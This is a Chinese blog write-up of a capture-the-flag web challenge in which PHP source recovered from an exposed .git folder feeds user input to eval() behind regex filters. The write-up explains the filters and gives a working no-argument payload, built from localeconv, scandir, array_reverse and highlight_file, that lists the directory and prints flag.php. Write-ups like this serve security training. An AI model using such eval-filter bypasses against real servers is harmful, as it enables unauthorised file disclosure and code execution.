当前位置: 首页 > news >正文

[GXYCTF2019]禁止套娃1

打开题目

进行常规的检测漏洞,扫描目录发现存在.git文件夹下的文件存在

<?php

include "flag.php";

echo "flag在哪里呢?<br>";

if(isset($_GET['exp']))

{

    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))

    {             //不允许使用php协议

        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

        {                   //替换为空字符,匹配的形式是形如a();的无参数的表达式

            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))

            {

                // echo $_GET['exp'];

                @eval($_GET['exp']);

            }

            else

            {

                die("还差一点哦!");

            }

        }

        else

        {

            die("再好好想想!");

        }

    }

    else

    {

        die("还想读flag,臭弟弟!");

    }

}

// highlight_file(__FILE__);

  

?>
使用了正则表达式来过滤

[a-z,_]+匹配一个或多个字母、下划线或逗号

(匹配开括号

(?R)?匹配嵌套的正则表达式本身,?表示0或1次

)匹配闭括号

括号内无参数

下一阶段,咱们知道是要读取flag.php,所以我们要借助eval函数读取

var_dump(localeconv());
结果如下
array(18) 

["decimal_point"]=> string(1) "." 
["thousands_sep"]=> string(0) "" 
["int_curr_symbol"]=> string(0) "" 
["currency_symbol"]=> string(0) "" 
["mon_decimal_point"]=> string(0) "" 
["mon_thousands_sep"]=> string(0) "" 
["positive_sign"]=> string(0) "" 
["negative_sign"]=> string(0) "" 
["int_frac_digits"]=> int(127) 
["frac_digits"]=> int(127) 
["p_cs_precedes"]=> int(127) 
["p_sep_by_space"]=> int(127) 
["n_cs_precedes"]=> int(127) 
["n_sep_by_space"]=> int(127) 
"p_sign_posn"]=> int(127) 
["n_sign_posn"]=> int(127) 
["grouping"]=> array(0) { } 
["mon_grouping"]=> array(0) { } 
}
咱们想要的内容其实不在第一个但是在倒数第二个,所以咱们可以倒序输出第二个

?exp=var_dump(next(array_reverse(scandir(pos(localeconv())))));
结果如下:string(8) "flag.php"

之后使用highlight_file()显示文件的内容来得到flag

?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
 

相关文章:

[GXYCTF2019]禁止套娃1

打开题目 进行常规的检测漏洞&#xff0c;扫描目录发现存在.git文件夹下的文件存在 <?php include "flag.php"; echo "flag在哪里呢&#xff1f;<br>"; if(isset($_GET[exp])) { if (!preg_match(/data:\/\/|filter:\/\/|php:\/\/|phar:\/\…...

人工智能时代,数字化工厂如何改革?提升竞争力?

在人工智能时代&#xff0c;数字化工厂通过数据驱动的决策、智能制造、柔性生产、物联网整合以及人机协作&#xff0c;实现生产效率和产品质量的全面提升&#xff0c;并不断创新以保持竞争力。 --题记 在人工智能时代&#xff0c;数字化工厂的改革…...

气膜建筑的抗风与防火性能:保障仓储的安全—轻空间

气膜建筑以其独特的结构和材料优势&#xff0c;为仓储设施提供了可靠的安全保障。在应对自然灾害特别是强风和火灾时&#xff0c;气膜建筑展示了优异的抗风和防火性能。轻空间将详细探讨这些性能及其在实际应用中的表现。 气膜建筑的抗风能力源于其特殊的结构设计和高性能材料。…...

【秋招笔试】2024-08-07-YT游戏(研发岗)-三语言题解(CPP/Python/Java)

🍭 大家好这里是 春秋招笔试突围,一起备战大厂笔试 💻 ACM金牌团队🏅️ | 多次AK大厂笔试 | 编程一对一辅导 ✨ 本系列打算持续跟新 秋招笔试题 👏 感谢大家的订阅➕ 和 喜欢💗 和 手里的小花花🌸 ✨ 笔试合集传送们 -> 🧷春秋招笔试合集 本次的题目比较典,…...

【Python知识】m.inplace = inplace 《==》是否执行原地操作

# 如果激活层模块有 inplace 属性&#xff0c;则设置该属性 if hasattr(m, inplace): m.inplace inplace inplace 属性是什么&#xff1f; 在 PyTorch 中&#xff0c;inplace 属性是一个布尔值&#xff0c;用于指示某个操作是否可以以原地&#xff08;in-place&#xff09;模式…...

Go语言fmt包中print相关方法

Go语言的fmt包提供了多种打印相关的函数&#xff0c;主要用于在控制台或其他输出目标上格式化并输出数据。下面是一些常用的print相关方法的用途和区别&#xff1a; 1.fmt.Print() 功能: fmt.Print() 将参数的内容按默认格式输出到标准输出&#xff08;通常是控制台&#xff…...

图片转为pdf怎么弄?亲测有效的8个pdf转换方法安利

图片转PDF怎么弄&#xff1f;在日常的办公生活中&#xff0c;我们经常会需要处理一些文档格式转换难题&#xff0c;图片转成PDF格式就是其中一个&#xff0c;图片转换成PDF格式的话&#xff0c;方便我们传输分享&#xff0c;毕竟现在PDF格式凭借着自身的稳定性和可移植性已经成…...

贪吃蛇(使用QT)

贪吃蛇小游戏 一.项目介绍**[贪吃蛇项目地址](https://gitee.com/strandingzy/QT/tree/zyy/snake)**界面一&#xff1a;游戏大厅界面二&#xff1a;关卡选择界面界面三&#xff1a;游戏界面 二.项目实现2.1 游戏大厅2.2关卡选择界面2.3 游戏房间2.3.1 封装贪吃蛇数据结构2.3.2 …...

【案例40】Apache中mod_proxy模块的使用

NC中间件 应用场景&#xff1a;配置了apache的情况&#xff0c;包括uap集群&#xff0c;配置https等场景下均适用&#xff1b;如果是单机&#xff08;NC单结点情况不存在问题&#xff0c;则不用配置这项; was环境也不用配置此项。&#xff09; 解决方案&#xff1a;按如下两…...

简单安装Android Studio并使用

在Windows上安装Android Studio的步骤如下&#xff1a; ### 1. 检查系统要求 确保你的计算机符合Android Studio的系统要求&#xff0c;通常包括&#xff1a; - Windows 8/10/11 - 64位处理器 - 最少4 GB RAM&#xff08;推荐8 GB&#xff09; - 最少2 GB可用硬盘空间&#xff…...

在Python中,模块(Module)和包(Package)

在Python中&#xff0c;模块&#xff08;Module&#xff09;和包&#xff08;Package&#xff09;是组织代码、提高代码复用性、促进代码维护的两种重要机制。它们各自扮演着不同的角色&#xff0c;但又紧密相连&#xff0c;共同构成了Python程序架构的基础。以下将详细阐述Pyt…...

Node版本管理工具

一、nvm 安装 二、常用命令 nvm v //查看nvm 版本号nvm install latest // 下载最新的 node 版本 nvm install 版本号 //安装node对应的版本nvm uninstall 版本号 //卸载对应的版本nvm list // 查看下载的所有版本的nodenvm use 版本号 // 只有引入了才能使用…...

创建并发布NPM模块

创建模块项目 $ mkdir my-npm-package $ cd my-npm-package $ npm init添加模块代码 创建新文件 index.js&#xff0c;内容如下 function helloworld() {console.log(Hello World!); }module.exports helloworld;测试模块 在模块目录&#xff08;my-npm-package&#xff0…...

20240807软考架构-------软考31-35答案解析

每日打卡题31-35答案 31、【2015年真题】 难度&#xff1a;一般 对于遗留系统的评价框架如下图所示&#xff0c;那么处于“高水平、低价值”区的遗留系统适合于采用的演化策略为 &#xff08; )。 A&#xff0e;淘汰B&#xff0e;继承C&#xff0e;改造D&#xff0e;集成 答案…...

简单实现二叉树(链表实现)

接着上一节。我们接着学习二叉树&#xff0c;学习使用链表建立二叉树时&#xff0c;最好把每个子程序的递归展开图&#xff0c;都画一下 前言 在学习二叉树的基本结构前&#xff0c;需先要创建一颗二叉树&#xff0c;然后才能学习其相关的基本操作&#xff0c;由于现在大家二…...

搭建 Web 群集Haproxy

案例概述 Haproxy 是目前比较流行的一种群集调度工具&#xff0c;同类群集调度工具有很多&#xff0c;如 LVS 和Nginx。相比较而言&#xff0c;LVS 性能最好&#xff0c;但是搭建相对复杂;Nginx 的upstream模块支持群集功能&#xff0c;但是对群集节点健康检查功能不强&#xf…...

PDF隐写思路

文章目录 使用工具技术细节小结 使用工具 工具&#xff1a;WPS、010Editor、WbStego 技术细节 步骤&#xff1a; 使用 WPS 查看文件&#xff0c;看是否能打开。 若不能打开则使用 010Editor 查看是否少了头文件等。 正常的 PDF 缺少头文件的 PDF 如果缺少头文件则使用 010…...

Pycharm 常用快捷键

快捷键作用描述Ctrl Space基本的代码自动完成Ctrl Shift Space选择代码自动完成Ctrl D复制当前行或符号Ctrl X剪切当前行或符号Ctrl C复制当前行或符号Ctrl V粘贴剪贴板内容Ctrl Y删除当前行Ctrl A全选当前文件内容Ctrl Z撤销操作Ctrl Shift Z重做操作Ctrl F查找文…...

android音频录音,(一)MediaRecorder简介

1.MediaRecorder概述 Android 多媒体框架支持捕获和编码各种常见的音频和视频格式&#xff0c;简要介绍音频录音。 2.MediaRecorder 源码路径&#xff1a;frameworks/base/media/java/android/media/MediaRecorder.java 源码接口&#xff1a; setAudioSource(MediaRecorde…...

autoX.js

一. 概述 AutoX.js 使用 JavaScript 作为脚本语言&#xff0c;目前使用 Rhino 1.7.13 作为脚本引擎&#xff0c;支持 ES5 与部分 ES6 特性。 下载地址&#xff1a; https://github.com/kkevsekk1/AutoX/releases 官方文档&#xff1a; AutoX.js 二. 用法 1. 首先在官网下…...

黑马Mybatis

Mybatis 表现层&#xff1a;页面展示 业务层&#xff1a;逻辑处理 持久层&#xff1a;持久数据化保存 在这里插入图片描述 Mybatis快速入门 ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/6501c2109c4442118ceb6014725e48e4.png //logback.xml <?xml ver…...

在鸿蒙HarmonyOS 5中实现抖音风格的点赞功能

下面我将详细介绍如何使用HarmonyOS SDK在HarmonyOS 5中实现类似抖音的点赞功能&#xff0c;包括动画效果、数据同步和交互优化。 1. 基础点赞功能实现 1.1 创建数据模型 // VideoModel.ets export class VideoModel {id: string "";title: string ""…...

【Redis技术进阶之路】「原理分析系列开篇」分析客户端和服务端网络诵信交互实现(服务端执行命令请求的过程 - 初始化服务器)

服务端执行命令请求的过程 【专栏简介】【技术大纲】【专栏目标】【目标人群】1. Redis爱好者与社区成员2. 后端开发和系统架构师3. 计算机专业的本科生及研究生 初始化服务器1. 初始化服务器状态结构初始化RedisServer变量 2. 加载相关系统配置和用户配置参数定制化配置参数案…...

TRS收益互换:跨境资本流动的金融创新工具与系统化解决方案

一、TRS收益互换的本质与业务逻辑 &#xff08;一&#xff09;概念解析 TRS&#xff08;Total Return Swap&#xff09;收益互换是一种金融衍生工具&#xff0c;指交易双方约定在未来一定期限内&#xff0c;基于特定资产或指数的表现进行现金流交换的协议。其核心特征包括&am…...

04-初识css

一、css样式引入 1.1.内部样式 <div style"width: 100px;"></div>1.2.外部样式 1.2.1.外部样式1 <style>.aa {width: 100px;} </style> <div class"aa"></div>1.2.2.外部样式2 <!-- rel内表面引入的是style样…...

云原生玩法三问:构建自定义开发环境

云原生玩法三问&#xff1a;构建自定义开发环境 引言 临时运维一个古董项目&#xff0c;无文档&#xff0c;无环境&#xff0c;无交接人&#xff0c;俗称三无。 运行设备的环境老&#xff0c;本地环境版本高&#xff0c;ssh不过去。正好最近对 腾讯出品的云原生 cnb 感兴趣&…...

2025季度云服务器排行榜

在全球云服务器市场&#xff0c;各厂商的排名和地位并非一成不变&#xff0c;而是由其独特的优势、战略布局和市场适应性共同决定的。以下是根据2025年市场趋势&#xff0c;对主要云服务器厂商在排行榜中占据重要位置的原因和优势进行深度分析&#xff1a; 一、全球“三巨头”…...

SQL慢可能是触发了ring buffer

简介 最近在进行 postgresql 性能排查的时候,发现 PG 在某一个时间并行执行的 SQL 变得特别慢。最后通过监控监观察到并行发起得时间 buffers_alloc 就急速上升,且低水位伴随在整个慢 SQL,一直是 buferIO 的等待事件,此时也没有其他会话的争抢。SQL 虽然不是高效 SQL ,但…...

MacOS下Homebrew国内镜像加速指南(2025最新国内镜像加速)

macos brew国内镜像加速方法 brew install 加速formula.jws.json下载慢加速 &#x1f37a; 最新版brew安装慢到怀疑人生&#xff1f;别怕&#xff0c;教你轻松起飞&#xff01; 最近Homebrew更新至最新版&#xff0c;每次执行 brew 命令时都会自动从官方地址 https://formulae.…...

协议转换利器,profinet转ethercat网关的两大派系,各有千秋

随着工业以太网的发展&#xff0c;其高效、便捷、协议开放、易于冗余等诸多优点&#xff0c;被越来越多的工业现场所采用。西门子SIMATIC S7-1200/1500系列PLC集成有Profinet接口&#xff0c;具有实时性、开放性&#xff0c;使用TCP/IP和IT标准&#xff0c;符合基于工业以太网的…...